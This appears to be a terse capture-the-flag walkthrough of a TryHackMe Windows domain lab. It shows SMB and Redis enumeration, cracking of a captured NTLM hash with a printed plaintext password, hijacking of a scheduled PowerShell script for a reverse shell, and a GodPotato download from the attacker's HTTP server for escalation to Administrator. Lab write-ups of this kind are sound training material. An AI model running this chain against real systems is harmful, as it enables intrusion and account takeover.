➜ ~ rustscan -a 10.10.241.222 ... Open 10.10.241.222:53 Open 10.10.241.222:135 Open 10.10.241.222:139 Open 10.10.241.222:445 Open 10.10.241.222:464 Open 10.10.241.222:6379 Open 10.10.241.222:9389 # some rdp port ... Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn ...
# can change options add -Pn and try again # but this is easier ➜ ~ nmap -p 53,135,139,445,464,6379,9389,49668,49669,49670,49665,49695,49684,49725 y -sV -Pn # i use openvpn the speed of nmap is too slow there ... PORT STATE SERVICE VERSION 53/tcp open domain (generic dns response: SERVFAIL) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 6379/tcp open redis Redis key-value store 2.8.2402 9389/tcp open mc-nmf .NET Message Framing
try rpcclient
1 2 3 4 5
➜ ~ rpcclient -U "" -N 10.10.241.222 Can't load /etc/samba/smb.conf - run testparm to debug it rpcclient $> enumdomusers result was NT_STATUS_ACCESS_DENIED
try the 445 port smb
1 2 3 4 5 6 7
➜ ~ smbclient --list=10.10.241.222 --no-pass Can't load /etc/samba/smb.conf - run testparm to debug it Anonymous login successful Sharename Type Comment --------- ---- ------- SMB1 disabled -- no workgroup available
[*] Incoming connection (10.10.85.177,49723) [*] AUTHENTICATE_MESSAGE (VULNNET\enterprise-security,VULNNET-BC3TCK1) [*] User VULNNET-BC3TCK1\enterprise-security authenticated successfully [*] # a hash need to crack, write it to a file name hash [*] SMB_COM_TREE_CONNECT_ANDX (NT_STATUS_OK) [*] SMB_COM_TREE_CONNECT_ANDX (NT_STATUS_OK) [*] Closing down connection (10.10.85.177,49723)
# use john to crack ➜ tmp john ./hash --wordlist=/usr/share/wordlists/passwords/rockyou.txt # get a password
10.10.85.177:6379> config get * # there username enterprise-security 104) "C:\\Users\\enterprise-security\\Downloads\\Redis-x64-2.8.2402"
# list shares ➜ tmp smbclient --list=10.10.85.177 --user="enterprise-security" Can't load /etc/samba/smb.conf - run testparm to debug it Password for [WORKGROUP\enterprise-security]:# password Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share Enterprise-Share Disk IPC$ IPC Remote IPC NETLOGON Disk Logon server share SYSVOL Disk Logon server share SMB1 disabled -- no workgroup available # connect with username and password ➜ tmp smbclient //10.10.85.177/Enterprise-Share --user enterprise-security%sand_0873959498 Can't load /etc/samba/smb.conf - run testparm to debug it Try "help" to get a list of possible commands. smb: \> ls # get the file PurgeIrrelevantData_1826.ps1 A 69 Wed Feb 24 08:33:18 2021
smb: \> get PurgeIrrelevantData_1826.ps1 getting file \PurgeIrrelevantData_1826.ps1 of size 69 as PurgeIrrelevantData_1826.ps1 (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)
# check the file ➜ tmp cat PurgeIrrelevantData_1826.ps1 rm -Force C:\Users\Public\Documents\* -ErrorAction SilentlyContinue # must be a scheduled task
put the file and
connect to the reverse shell
generate a reverse shell from this website reverse shell
PS C:\Users\enterprise-security\Desktop> net user enterprise-security User name enterprise-security Full Name Enterprise Security Comment TryHackMe User's comment Country/region code 000 (System Default) Account active Yes Account expires Never Password last set 2/23/2021 3:01:37 PM Password expires Never Password changeable 2/24/2021 3:01:37 PM Password required Yes User may change password Yes Workstations allowed All Logon script User profile Home directory Last logon 2/15/2025 1:26:19 AM Logon hours allowed All Local Group Memberships Global Group memberships *Domain Users The command completed successfully.
Privilege Name Description State ============================= ========================================= ======== SeMachineAccountPrivilege Add workstations to domain Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeCreateGlobalPrivilege Create global objects Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
# upload the potato ➜ GodPotato ll Permissions Size User Date Modified Name .rw-r--r-- 57k arch 11 Apr 2023 GodPotato-NET2.exe .rw-r--r-- 57k arch 11 Apr 2023 GodPotato-NET4.exe .rw-r--r-- 57k arch 11 Apr 2023 GodPotato-NET35.exe ➜ GodPotato python -m http.server Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... 10.10.65.131 - - [15/Feb/2025 17:50:22] "GET /GodPotato-NET2.exe HTTP/1.1" 200 -
PS C:\Users\enterprise-security\Desktop> net user enterprise-security ... Local Group Memberships *Administrators Global Group memberships *Domain Users